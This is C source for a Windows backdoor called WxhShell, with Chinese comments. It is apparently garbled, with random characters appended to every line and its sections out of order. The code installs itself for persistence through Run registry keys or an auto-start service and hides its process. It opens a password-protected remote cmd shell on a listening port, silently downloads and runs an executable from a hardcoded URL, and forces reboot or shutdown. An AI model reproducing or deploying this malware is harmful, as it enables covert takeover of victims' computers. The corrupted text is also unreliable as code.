    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xj ?#]GR  
    if(Boot(SHUTDOWN)) p#\JKx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Nv^F  
    else { kFRl+,bi~  
    closesocket(wsh); gwA+%]  
    ExitThread(0); KT 4h3D`,  
    } }Wk^7[Y  
    break; qG6?k}\\  
    } "jUM}@q5  
  // 获取shell |;(95  
  case 's': { {Vw\#/,  
    CmdShell(wsh); 6>yfm4o  
    closesocket(wsh); ~nVO%IxM4J  
    ExitThread(0); azs lNL  
    break; gNWTzz<[f>  
  } [%0{7pz}  
  // 退出 rN3qTp  
  case 'x': { \&6^c=2=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l.@v@T(/  
    CloseIt(wsh); #`HY"-7m_  
    break; 9a6ij*#  
    } y6hb-: #1  
  // 离开 qxQuXF>:#  
  case 'q': { <Jf[N=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |3bCq(ZR\P  
    closesocket(wsh); s3/iG37K  
    WSACleanup(); *=2sXH1j  
    exit(1); Uh w:XV@m  
    break; f`gs/R  
        } Irc(5rD7   
  } m8T< x>  
  } n9%&HDl4  
b2tUJ2p  
  // 提示信息 ppP0W `p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R<L<kChg  
} SSAf<44e  
  } hr/H vB  
( kKQs")  
  return;  z@8W  
} +_T`tmQ  
lz [s  
// shell模块句柄 @2`$ XWD  
int CmdShell(SOCKET sock) !U "?vSl  
{ <k'%rz  
STARTUPINFO si; uxOeD%Z>  
ZeroMemory(&si,sizeof(si)); [0?W>A*h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lVYrP|#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E*Z# fa  
PROCESS_INFORMATION ProcessInfo; TPF5?  
char cmdline[]="cmd"; @}<b42  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iD${7 _  
  return 0; `3e>JIl"0  
} !qe:M]C'l  
]zATdfa  
// 自身启动模式 ?r'2GR2Sk4  
int StartFromService(void) h@{mcz  
{ g}OZ!mKd  
typedef struct 1!=^mu8  
{ 6b wzNY 7  
  DWORD ExitStatus; 6Bf aB:  
  DWORD PebBaseAddress; mUdj2vB$+'  
  DWORD AffinityMask; *DcB?8%  
  DWORD BasePriority; y,xJ5BI$  
  ULONG UniqueProcessId; !de`K |  
  ULONG InheritedFromUniqueProcessId; 3JFX~"rV9I  
}   PROCESS_BASIC_INFORMATION; XCd[<\l  
TY`t3  
PROCNTQSIP NtQueryInformationProcess; E;bv;RUio  
*A ([1l&]i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wj2z?0}o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;i,3KJ[L  
O%)Wo?)HM  
  HANDLE             hProcess; ["1Iz{  
  PROCESS_BASIC_INFORMATION pbi; };;k5z I%  
ms{iQ:'9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _]t^F9l  
  if(NULL == hInst ) return 0; wZ%a:Z4TcM  
#oD;?Mi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $4:Se#nl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); He)!Ez\X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Db K(Rh_ K  
ZZ324UuATX  
  if (!NtQueryInformationProcess) return 0; EdTR]}8  
+A-z>T(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6qd?&.=r  
  if(!hProcess) return 0; =mYwO=:D  
Y=ksrs>w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 80%L!x|  
e X{#F gFc  
  CloseHandle(hProcess); 2_Gb K-  
WNSY@q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gVI{eoJ  
if(hProcess==NULL) return 0; n09P!],Xa  
eL_Il.:  
HMODULE hMod; |" ag'h  
char procName[255]; U[{vA6  
unsigned long cbNeeded; aP[oLk$'Z  
hEq-)-^G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -oT3`d3  
~0Z.,p_  
  CloseHandle(hProcess); KA? J:  
F EA t6  
if(strstr(procName,"services")) return 1; // 以服务启动 }u]7x:lh  
KP&$Sl  
  return 0; // 注册表启动 =`ECM7  
} Ku?1QDhrF*  
rcz9\@M  
// 主模块 vMzBp#MT  
int StartWxhshell(LPSTR lpCmdLine) i:|e#$x  
{ _>E=.$  
  SOCKET wsl; 2QgD<  
BOOL val=TRUE; 9/h[(qvT  
  int port=0; \DcO .`L  
  struct sockaddr_in door; J,*+Ak ~  
X@ S~D7|ja  
  if(wscfg.ws_autoins) Install(); q.bx nta"  
$kBcnk  
port=atoi(lpCmdLine); 3}lIY7 O  
V-9\@'gc  
if(port<=0) port=wscfg.ws_port; .dsB\ C  
OCELG~  
  WSADATA data; >BZ,g!N,J}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /s@j{*Om  
s+E: 7T9P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o8X? 1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?&-$Zog  
  door.sin_family = AF_INET; LSrKi$   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); { u3giB  
  door.sin_port = htons(port); \U>|^$4 #5  
G_`Ae%'h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { srhI%Zj  
closesocket(wsl); @RHG@{x{K  
return 1; b(\Mi_J  
} `R*SHy! _  
"fC>]iA8I  
  if(listen(wsl,2) == INVALID_SOCKET) { I2WWhsNC  
closesocket(wsl); &Qmb?{S0  
return 1; $IqubC>O  
} :{9HsF"h0  
  Wxhshell(wsl); ]Pe8G(E!  
  WSACleanup(); )jjL'  
yN/g;bQ  
return 0; 1&RB=7.h  
 Vqr]Ui  
} ar _@"+tZ  
0),fY(D2T  
// 以NT服务方式启动 DWS#q|j`"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (9{qT>eJg=  
{ tgj 5l#P  
DWORD   status = 0; LkWY6 ?$U  
  DWORD   specificError = 0xfffffff; @0V4$OoFl  
&g~NkJc0c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LqLhZBU9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZK h4:D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .,f]'!5  
  serviceStatus.dwWin32ExitCode     = 0; Z7I\\M  
  serviceStatus.dwServiceSpecificExitCode = 0; yL %88,/  
  serviceStatus.dwCheckPoint       = 0; VRTJKi  
  serviceStatus.dwWaitHint       = 0; Z23T 2  
[6Q1yNE  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M)~sL1)  
  if (hServiceStatusHandle==0) return; ]X> I(p@  
BO2s(8  
status = GetLastError(); R$`%<Y3)  
  if (status!=NO_ERROR) xDNXI01o  
{ R'pfA B|!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M+I9k;N6&  
    serviceStatus.dwCheckPoint       = 0; ,/&|:PkS  
    serviceStatus.dwWaitHint       = 0; JNo[<SZb  
    serviceStatus.dwWin32ExitCode     = status; sR^b_/ElxT  
    serviceStatus.dwServiceSpecificExitCode = specificError; #jsN  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y;@]G=a   
    return; -qBdcbi|x)  
  } aQ-SrxmO8  
p W@Yr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1je/l9L  
  serviceStatus.dwCheckPoint       = 0; egAYJK-,!  
  serviceStatus.dwWaitHint       = 0; qcC(#0A>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !<out4Mz"  
} E;, __  
-d-xsP} s  
// 处理NT服务事件,比如:启动、停止 Q.fUpa v  
VOID WINAPI NTServiceHandler(DWORD fdwControl) raZkH8  
{ _5S||TuNS  
switch(fdwControl) [930=rF*  
{ N)PkE>%X  
case SERVICE_CONTROL_STOP: 9z`72(  
  serviceStatus.dwWin32ExitCode = 0; {y B0JL}n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]L2b|a3  
  serviceStatus.dwCheckPoint   = 0; !MVf(y$  
  serviceStatus.dwWaitHint     = 0; < {h \Msx%  
  { eJ6 #x$I,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >f4[OBc  
  } hAs ReZ?  
  return; _ gGA/   
case SERVICE_CONTROL_PAUSE: U2LD_-HZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rGrR;  
  break; V`9*_8Dx2  
case SERVICE_CONTROL_CONTINUE: fhyoSRLR:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j7$xHnV4  
  break; /ZM xVh0  
case SERVICE_CONTROL_INTERROGATE: _.E{>IFw  
  break; AxeQv'e  
}; 6"NtVfui  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ) ~gIJW  
} eeBW~_W  
gW<4E=fl  
// 标准应用程序主函数 5$Kd<ky  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OT(0~,.GJ  
{ y} is=h3  
~0[(-4MA  
// 获取操作系统版本 )CHXfO w  
OsIsNt=GetOsVer(); jT/P+2hMW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p2< 927z  
dkY JO!  
  // 从命令行安装 j5og}P q:  
  if(strpbrk(lpCmdLine,"iI")) Install(); JH u>\{8V  
_s<s14+od  
  // 下载执行文件 HAo=t  
if(wscfg.ws_downexe) { 'nq~1 >i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f96`n+>x i  
  WinExec(wscfg.ws_filenam,SW_HIDE); i8p$wf"aW  
} ;Qi!~VsP;  
p1hF.  
if(!OsIsNt) { MK1#^9Zr  
// 如果时win9x,隐藏进程并且设置为注册表启动 VFMn"bYOB  
HideProc(); X&h?1lMJ /  
StartWxhshell(lpCmdLine); PVIZ Y^64  
} q[+ h ~)  
else G B,O  
  if(StartFromService())  NEPK   
  // 以服务方式启动 D>;_R HK  
  StartServiceCtrlDispatcher(DispatchTable); cNN0-<#c  
else +FAxqCkA  
  // 普通方式启动 nLmF5.&  
  StartWxhshell(lpCmdLine); o4OB xHKy  
gK(G1  
return 0; `'*4B_.  
} :_]0 8  
MppT"t  
z}B8&*>  
6!?] (  
=========================================== Ekik_!aB  
fJ0V|o  
P;K LN9/4  
CrSBN~  
N-t"CBTO  
N=7iQ@{1   
" s diWQv  
_sZ&=-FR  
#include <stdio.h> w\UAKN60  
#include <string.h> =,C]d~  
#include <windows.h> ~kj96w4eAR  
#include <winsock2.h> ?m+];SJk  
#include <winsvc.h> wjZ Q.T!  
#include <urlmon.h> Gy;Fe=  
iq?T&44&  
#pragma comment (lib, "Ws2_32.lib") +> d;%K  
#pragma comment (lib, "urlmon.lib") "FhC"}N  
/R?[/`)f&  
#define MAX_USER   100 // 最大客户端连接数 `rK@> -  
#define BUF_SOCK   200 // sock buffer BTYYp1  
#define KEY_BUFF   255 // 输入 buffer hOkn@F.  
,grx'to(X  
#define REBOOT     0   // 重启 ^^*L;b>I  
#define SHUTDOWN   1   // 关机 i(.V`G=  
A.@wGy4  
#define DEF_PORT   5000 // 监听端口 _cC1u7U9  
1 0.Z Bfn  
#define REG_LEN     16   // 注册表键长度 r NKeY48\  
#define SVC_LEN     80   // NT服务名长度 _~{J."q  
P;-.\VRu  
// 从dll定义API 2VUN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r%WHYhD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oo-4WqRJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tQYV4h\Qj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eK5~gnv,  
2{Dnfl'k  
// wxhshell配置信息 <#;5)!gr{  
struct WSCFG { gm n b  
  int ws_port;         // 监听端口 evD=]iVD  
  char ws_passstr[REG_LEN]; // 口令 !syyOfu`}  
  int ws_autoins;       // 安装标记, 1=yes 0=no fAz4>_4  
  char ws_regname[REG_LEN]; // 注册表键名 NFtA2EMLu[  
  char ws_svcname[REG_LEN]; // 服务名 MK@rx6<9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jJNl{nyq  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3TLym&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J]zhwM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @o*~\E<T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 98| v.d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FGie*t  
>R_m@$`  
}; \ykA7Y%  
6d6Dk>(V  
// default Wxhshell configuration K7.ayM 0  
struct WSCFG wscfg={DEF_PORT, 3-6MGL9  
    "xuhuanlingzhe", [` }w7  
    1, PFx.uqp  
    "Wxhshell", kP/<S<h,g  
    "Wxhshell", 3Nwix_&S  
            "WxhShell Service", yB/F6/B~  
    "Wrsky Windows CmdShell Service", ;($xAAR  
    "Please Input Your Password: ", 9z{g3m70@  
  1, tS5J{j>T  
  "http://www.wrsky.com/wxhshell.exe", #G?#ot2o  
  "Wxhshell.exe" f*88k='\W  
    }; y29G#Y4J  
@8w5Oudvx  
// 消息定义模块 vJct)i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Csp$_uDi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =8TBkxG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;I80<SZ  
char *msg_ws_ext="\n\rExit."; J>G'H)  
char *msg_ws_end="\n\rQuit."; EAm31v C  
char *msg_ws_boot="\n\rReboot..."; &OE-+z  
char *msg_ws_poff="\n\rShutdown..."; P*>?/I`G  
char *msg_ws_down="\n\rSave to "; fVa z'R  
k h*WpX  
char *msg_ws_err="\n\rErr!"; +4Wl  
char *msg_ws_ok="\n\rOK!"; m8x?`Gw~jw  
%K8YZc(&  
char ExeFile[MAX_PATH]; t6`(9o@}  
int nUser = 0; KF@%tR}V{  
HANDLE handles[MAX_USER]; q4Bw5 ~n  
int OsIsNt; *?C8,;=2r  
4M|C>My  
SERVICE_STATUS       serviceStatus; {06ClI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fF>hca>  
i92Z`jiR  
// 函数声明 ]B8iQr-!  
int Install(void); 8''1H<f  
int Uninstall(void); E BoC,{R#  
int DownloadFile(char *sURL, SOCKET wsh); mA%}ijR6y  
int Boot(int flag); ,' t&L]  
void HideProc(void); d8R|0RZ  
int GetOsVer(void); #*lDKn[vO  
int Wxhshell(SOCKET wsl);  t5S|0/f  
void TalkWithClient(void *cs); J}4RJ9  
int CmdShell(SOCKET sock); &'i>d&  
int StartFromService(void); sa/9r9hc+  
int StartWxhshell(LPSTR lpCmdLine); 1M?x,N_W  
PY4a3dp U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {iq^CHAVK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1:M'|uc  
pFiE2V_aS  
// 数据结构和表定义 g`C"t3~%S  
SERVICE_TABLE_ENTRY DispatchTable[] = 2XV|(  
{ )+hJi/g  
{wscfg.ws_svcname, NTServiceMain}, nGK=Nf.5  
{NULL, NULL} $7xfLS8Vo  
}; uh#E^~5S  
a #s Nd  
// 自我安装 <;>k[P'  
int Install(void) p`Tl)[*  
{ 'Z,7{U1P  
  char svExeFile[MAX_PATH]; `('Up?  
  HKEY key; Au/'|%2#(  
  strcpy(svExeFile,ExeFile); \>EUa}%xn  
P,F5Hf  
// 如果是win9x系统,修改注册表设为自启动 v;g,qO!LJ  
if(!OsIsNt) { qz Hsqlof  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J8@+)hn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `:m=rT_  
  RegCloseKey(key); QkTU@T6>o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M&",7CPD(1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Q%r4Nr  
  RegCloseKey(key); z Z~t ,>  
  return 0; l ObY  
    } X MF? y  
  } N!v>2"x8q  
} [AD%8 H  
else { #a9R3-aP  
W$l4@A  
// 如果是NT以上系统,安装为系统服务 Z$m&F0g  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >Rdi]:]Bv  
if (schSCManager!=0) JJM!pD\h  
{ 0|0IIgy  
  SC_HANDLE schService = CreateService kf~>%tES]  
  ( EL2z&  
  schSCManager, j E5=e</  
  wscfg.ws_svcname, nSZp,?^  
  wscfg.ws_svcdisp, Kuk@x.~0m  
  SERVICE_ALL_ACCESS, yTe25l{QaF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fHI@' '0  
  SERVICE_AUTO_START, =M4wP3V/  
  SERVICE_ERROR_NORMAL, [5M!'  
  svExeFile, VzcW9'"#  
  NULL, /z)8k4  
  NULL, ,g|ht%"  
  NULL, U}=H1f,  
  NULL, ogdAJw6 9  
  NULL h4ghMBo%  
  ); AI9=?X<kh  
  if (schService!=0) .>y3`,0h  
  { +_f813$C  
  CloseServiceHandle(schService);  Bv%dy[I  
  CloseServiceHandle(schSCManager); 5$$]ZMof  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s <$*A;t  
  strcat(svExeFile,wscfg.ws_svcname); qe0ZM-C_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '=(yh{W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )D]LPCd[  
  RegCloseKey(key); T0\[": A  
  return 0; Zyz)`>cB  
    } iq 8Hq)I]  
  } *s2 C+@ef  
  CloseServiceHandle(schSCManager); 3zM>2)T-  
} /wHfc[b>  
} Dl}va  
S|IDFDn  
return 1; IZ.b  
} g$# JdN  
(Fk&~/SP  
// 自我卸载 IueI7A  
int Uninstall(void) x_4{MD^%  
{ n!NA}Oa  
  HKEY key; g%4=T~  
n0^3F1Z  
if(!OsIsNt) { [ID#P Ule  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C$v !emu  
  RegDeleteValue(key,wscfg.ws_regname); k.H4Mf(4  
  RegCloseKey(key); R_:-Z .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h#|Ac>fz  
  RegDeleteValue(key,wscfg.ws_regname); a-5#8  
  RegCloseKey(key); gkx<<)y l  
  return 0; -N2m|%B  
  } -PiZvge  
} %9t=Iu*  
} <<1_rRL]  
else { ~~WX#Od*$  
%BRll  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6b4]dvl_  
if (schSCManager!=0) elP#s5l4  
{ u$x'P <b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); B :1r;8{j  
  if (schService!=0) \&Oc}]  
  { 42DB0+_wz  
  if(DeleteService(schService)!=0) { ob(~4H-  
  CloseServiceHandle(schService); k@2@%02o9C  
  CloseServiceHandle(schSCManager); ]5eZLXM  
  return 0; n(Ry~Xu_  
  } [>kzQYT[  
  CloseServiceHandle(schService); Yb>A?@S  
  } bLz('mUY  
  CloseServiceHandle(schSCManager); gAy"W$F  
} DEKO] i  
} t~]tw  
3 W?H^1t  
return 1; DEpn>   
} =,W~^<\"  
8';huq@C{  
// 从指定url下载文件 /KCIb:U  
int DownloadFile(char *sURL, SOCKET wsh) JB!KOzw  
{ _We4%  
  HRESULT hr; N*>&XJ#  
char seps[]= "/"; ]B-3Lh  
char *token; }cI _$  
char *file; A4VV y~sd  
char myURL[MAX_PATH]; zLVk7u{e  
char myFILE[MAX_PATH]; 'Z^KpW  
"NO*(<C.R  
strcpy(myURL,sURL); eP|hxqM&9  
  token=strtok(myURL,seps); ",Fqpu&M  
  while(token!=NULL) 0kld77tn 2  
  { [Z+E_Lbz  
    file=token; (0bXsfe  
  token=strtok(NULL,seps); @LDu08lr  
  } K;(t@GL?  
JuXuS  
GetCurrentDirectory(MAX_PATH,myFILE); !X/O1PM|  
strcat(myFILE, "\\"); [ST7CrwC  
strcat(myFILE, file); .?-]+ -J?`  
  send(wsh,myFILE,strlen(myFILE),0); 1BA5|  
send(wsh,"...",3,0); [c#?@S_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5!^?H"#c  
  if(hr==S_OK) (W $>!1~  
return 0; TInp6w+u  
else r1Cq8vD*m  
return 1; (C8r^m|A  
$T}Dn[.  
} % KmhR2v  
)u_[cEJHO  
// 系统电源模块 *[wj )  
int Boot(int flag) L@LT*M  
{ 83YQ c  
  HANDLE hToken; U~[ tp1Z)  
  TOKEN_PRIVILEGES tkp; 1ba* U~OEg  
?O#,|\v?]  
  if(OsIsNt) { V']1j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u-#J!Z<T8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -Mufo.Jz1o  
    tkp.PrivilegeCount = 1; a6.0 $'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^>!~%Vv7!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,zH\&D$>u  
if(flag==REBOOT) { 3gU*,K7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R//S(eU68\  
  return 0; &dI;o$t  
} Y^J/jA0\B  
else { -&_;x&k /  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +^@6{1  
  return 0; 5NAB^&{Z<X  
} Cr$8\{2OA7  
  } 7 `& NB]  
  else { WCZeY?_^c  
if(flag==REBOOT) { sD`OHV:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UG<`m]  
  return 0; 5iP{)  
} v?(9ZY]  
else { &IgH]?t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P0^7hSo  
  return 0; cvl1 X"  
} *Wz\FixP0  
} n!t][d/g+  
*%`jcF  
return 1; Hs6}~d  
} B#;0{  
joJ:* oL  
// win9x进程隐藏模块 Luu.p<   
void HideProc(void) 0ud>oh4WPR  
{ ,}_uk]AQ  
\Zms  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  #mcU);s  
  if ( hKernel != NULL ) dX:#KdK  
  { maTZNzy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); TdH~ sz  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9J'3b <  
    FreeLibrary(hKernel); *Me{G y  
  } GLIP;)h1  
sOLR*=F{  
return; &24z`ZS[w6  
} h9 &V   
nH^RQ'19  
// 获取操作系统版本 v"a.%" oN8  
int GetOsVer(void) O:3DIT1#>  
{ i(@<KH  
  OSVERSIONINFO winfo; bZsg7[: C  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z@n779i  
  GetVersionEx(&winfo); !u=,bfyH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N`%f+eT(  
  return 1; =c(3EI'w  
  else Kp_^ 2V?  
  return 0; fnm:Wa|,%|  
} IB+)2`  
C2 ] x  
// 客户端句柄模块 r 2L=gI  
int Wxhshell(SOCKET wsl) D1VM_O  
{ p~w|St 7jg  
  SOCKET wsh; #yVMC;J?W  
  struct sockaddr_in client; &BDdJwE  
  DWORD myID; 2r|!:^'?W  
wk"zpI7L  
  while(nUser<MAX_USER) k_<8SG+`  
{ #XlE_XD  
  int nSize=sizeof(client); `2Oh0{x0*O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @Ui dQX"b  
  if(wsh==INVALID_SOCKET) return 1; {<3>^ o|"  
;Jrk#7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #UpxF?A(  
if(handles[nUser]==0) kGX;x}q  
  closesocket(wsh); ]\t+zF>&Y  
else {Q la4U  
  nUser++; #Qp.O@e  
  } E@F:U*A6%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xz$S5tgDQK  
@0>3))  
  return 0; /Aq):T T  
} {? dW-  
`i)&nW)R  
// 关闭 socket 5{&<X.jv  
void CloseIt(SOCKET wsh) TGJ\f  
{ zUhJr$N$  
closesocket(wsh); ?~5J!|r#  
nUser--; f{DcR"  
ExitThread(0); MYb^ILz H3  
} C8 b%r|^#  
Ag!#epi{0  
// 客户端请求句柄 !bHM:!6^  
void TalkWithClient(void *cs) a~-^$Fzgy  
{ S3k>34_%9  
hsUP5_  
  SOCKET wsh=(SOCKET)cs; T?Dq2UW  
  char pwd[SVC_LEN]; CF`fn6  
  char cmd[KEY_BUFF]; tyLR_@i%%  
char chr[1]; \#A=twp  
int i,j; P00pSRQHD  
K{&b "Ba1  
  while (nUser < MAX_USER) { 42m}c1R  
/j1p^=ARV  
if(wscfg.ws_passstr) { CXs i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h8yv:}XU*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .ZxH#l _  
  //ZeroMemory(pwd,KEY_BUFF); 6GD Uo}.  
      i=0; S0ct;CS  
  while(i<SVC_LEN) { j8G>0f)  
%T&#JF+;  
  // 设置超时 YTco;5/  
  fd_set FdRead; Nv iPrp>c  
  struct timeval TimeOut; ZREAEGi{  
  FD_ZERO(&FdRead); H5N(MihT  
  FD_SET(wsh,&FdRead); dIo|i,-  
  TimeOut.tv_sec=8; n>dM OQb  
  TimeOut.tv_usec=0; "p\XaClpz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >)N}V'9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LQMVC^ G  
qKL_1 ~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z^f-MgWG  
  pwd=chr[0]; rGZ@pO2  
  if(chr[0]==0xd || chr[0]==0xa) { IP1|$b}sq  
  pwd=0; >Q~"/-bN)  
  break; L?^C\g6u]  
  } 8<g_JW[%  
  i++; C%P"Ds=w0N  
    } hfvs' .  
e;=G|E  
  // 如果是非法用户,关闭 socket b* 6c.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NRKAEf_#w  
} uREc9z `Q'  
~P5!VNJ;r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ej1 [ry  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VmTk4?V4  
|jV4]7Luq  
while(1) { dBG]J18  
X/1Z9 a+W  
  ZeroMemory(cmd,KEY_BUFF); q\[31$i$  
w9}I*Nra  
      // 自动支持客户端 telnet标准   Y5 4*mn  
  j=0; v] *W*;  
  while(j<KEY_BUFF) { p Nu13o~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %a/O7s6  
  cmd[j]=chr[0]; e?G*q)l  
  if(chr[0]==0xa || chr[0]==0xd) { ,Z%!38gGsu  
  cmd[j]=0; [,5clR=F  
  break; -X4`,0y%{O  
  } GX_Lxc_<f  
  j++; q<JI!n1O  
    } y|KDh'Y  
^ d"tymDd  
  // 下载文件 (6\A"jey\x  
  if(strstr(cmd,"http://")) { a~ REFy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $^7 &bQ  
  if(DownloadFile(cmd,wsh)) cQPH le2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T6H"ER$  
  else ,)L.^<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &TbnZnv  
  } q@(N 38D  
  else { W,agP G\+  
j7-#">YL  
    switch(cmd[0]) { ]-.Q9cjc$q  
